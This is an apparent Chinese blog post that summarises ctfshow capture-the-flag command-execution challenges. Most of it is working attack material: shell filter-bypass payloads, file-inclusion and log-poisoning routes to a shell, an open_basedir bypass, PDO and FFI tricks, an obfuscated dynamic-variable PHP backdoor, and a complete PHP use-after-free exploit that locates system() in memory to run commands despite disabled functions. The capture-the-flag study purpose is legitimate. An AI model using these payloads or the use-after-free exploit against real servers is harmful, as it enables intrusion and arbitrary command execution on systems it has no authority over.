Loading

ctfshow-命令执行总结

过滤空格

使用$GET等进行参数逃逸

使用文件包含进行参数逃逸

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

套娃

show_source(next(array_reverse(scandir(pos(localeconv())))));

控制变量

print_r(array_pop(next(get_defined_vars())))

过滤空格

使用水平制表符

nl<fla''g.php||
tac%09fla?.php%26%26
cp$IFSfla?.php$IFS1.txt||ls
mv$IFSfla?.php$IFSa.txt||ls
cp${IFS}fla?.php${IFS}a.txt||ls
/bin/ca?${IFS}f???????
/?c=.%20/???/????????[@-[]

#!/bin/sh
cat flag.php

构造数字

$(()) -> 0
~$(()) -> ~0
$((~$(()))) -> -1

使用读取文件的函数:

    1. file_get_contents   // *
    2. fread
    3. fgets
    4. fgetss
    5. file
    6. parse_ini_file
    7. readfile    // *
    8. highlight_file  // *
    9. show_source // *

常见用法

<?php

// file_get_contents
print(sprintf("%'-10s%-'-30s", '-', 'file_get_contents').PHP_EOL);
echo file_get_contents('flag.txt');
echo PHP_EOL;

// fopen fread
print(sprintf("%'-10s%-'-30s", '-', 'fopen fread').PHP_EOL);
$file = fopen("flag.txt","rb");
echo fread($file,1024);     // 参数为 resource 类型
fclose($file);
echo PHP_EOL;

// fopen fgets
print(sprintf("%'-10s%-'-30s", '-', 'fopen fgets').PHP_EOL);
$file = fopen("flag.txt","r");      
echo fgets($file, 4096);        // 过滤掉了 HTML 和 PHP 标签
fclose($file);
echo PHP_EOL;

// fopen fgetss
print(sprintf("%'-10s%-'-30s", '-', 'fopen fgetss').PHP_EOL);
$file = fopen("flag.txt","r");     
echo fgetss($file, 4096);        // 过滤掉了 HTML 和 PHP 标签
fclose($file);
echo PHP_EOL;

// readfile
print(sprintf("%'-10s%-'-30s", '-', 'readfile').PHP_EOL);
echo readfile("flag.txt");      // 看到不仅输出了所有内容,而且还输出了总共长度
echo PHP_EOL;

// file
print(sprintf("%'-10s%-'-30s", '-', 'file').PHP_EOL);
print_r(file('flag.txt'));      // 读取结果为数组,所以需要用 print_r 或 var_dump 
echo PHP_EOL;

// parse_ini_file
print(sprintf("%'-10s%-'-30s", '-', 'parse_ini_file').PHP_EOL);
echo parse_ini_file("flag.txt");        // 只能读取 ini 配置文件
echo PHP_EOL;

// show_source
print(sprintf("%'-10s%-'-30s", '-', 'show_source').PHP_EOL);
show_source('flag.txt');
echo PHP_EOL;

// highlight_file
print(sprintf("%'-10s%-'-30s", '-', 'highlight_file').PHP_EOL);
highlight_file('flag.txt');
echo PHP_EOL;


?>

日志拿shell

后门写入日志,文件包含访问日志拿shell

nginx默认日志路径为/var/log/nginx/access.log


查看目录

print_r(scandir("."));

var_dump

var_dump(scandir("."));

获得变量

get_defined_vars ( void ) : array


绕过open_basedir

此函数内容将用户限制在一个目录

使用glob协议读取文件

c=$a="glob:///*.txt";
if($b = opendir($a)){
    while(($file=readdir($b))!==false)
    {
        echo "filename:".$file."\n";
    }
    closedir($b);
};exit();

使用公开脚本

UAF


<?php

function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

PDO


try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}

php7.4命令执行特性


c=$ffi=FFI::cdef("int system(const char *command);");
$a="/readflag>/var/www/html/hello";
$ffi->system($a);exit();

蚁剑插件


构造命令

":"的作用

如果变量后面跟着一个冒号和数字,则返回该数字开始的剩余子字符串,如果后面还跟着一个冒号和数字。则第一个数字表示开始的字符,后面数字表示字符的长度。


echo ${PATH}  // /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
echo ${PATH:6} // ocal/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
echo ${PATH:~6} // in:/bin
echo ${PATH:~A} // n
echo ${PATH:14:1} // n


Linux中一些特殊符号的用法

{}大括号

用法一:通配符扩展

ls my_{finger,toe}s

这条命令相当于

ls myfingers my_toes

下面语句相当于笛卡尔积

mkdir {userA,userB,userC}-{home,bin,data}

用法二:语句块的构造

语句之间使用回车进行分隔

{
    grep -v "$cdcatnum" $strack_file > $temp_file
    cat $temp_file > $strack_file
    echo
    cat -n file1
}

用法三:参数扩展

${name:-default} ;使用一个默认值来代替那些空的或者没有赋值的变量name;
${name:=default} ;使用指定值来代替空的或者没有赋值的变量name
${name:?message} ;如果变量为空或者未赋值,那么就会显示出错误信息并终止脚本的执行同时返回退出码1

[]中括号

用法一:通配符扩展

允许匹配方括号中任何一个单元字符

ls /[eh][to][cm]*

用法二:条件判断符号

if test "$?" != 0
if [$?] != 0

`command`反引号

与$(command)一样,返回当前执行命令的结果


'string'单引号和"string"双引号

单引号和双引号的区别是单引号不转义特殊字符


'$'符号

  1. $# 返回引用变量的总数量
  2. $* 以一个单字符串显示所有的脚本传递的参数。等价于$1 $2 $3.......
  3. \(@ 与\)*基本类似但各参数用空格隔开,而$*用IFS的第一个参数隔开
  4. $? 前一个命令的退出码
  5. $- 显示shell使用的当前选项
  6. $! 最后一个后台运行的进程ID号
  7. \[ shell脚本的进程号 \]

"&&", "||"命令列表

&&

只有前面都成功才执行下一条

||

一条成功即退出

":"冒号

内建空指令,返回值为0

";"分号

连续指令

"#"井号

注释

"/"倒斜线

放在指令前可取消别名的作用

放在特殊符号前则该特殊符号的作用消失

放在指令的最末端则连接下一行

"!"感叹号

反逻辑作用

"**"次方运算


构造表

查询系统变量后构造

名字
PHP_CFLAGS
PHP_VERSION
SHLVL 1
PWD
HOME
PATH
\({PWD::\){#SHLVL}} /
\({HOME:\){#HOSTNAME}😒{#SHLVL}} t(看情况)
$ 1(正常为0不正常则为1,#取长度故恒为1)
<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?}+????.???

动态变量解析构造后门

  1. base_convert("hex2bin",36,10); -> 37907361743
  2. bin2hex("_GET"); -> 5f474554
  3. base_convert(37907361743,10,36)(dechex(1598506324)) -> _GET
$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php
posted @ 2022-03-21 20:13  amazingman113  阅读(215)  评论(0)    收藏  举报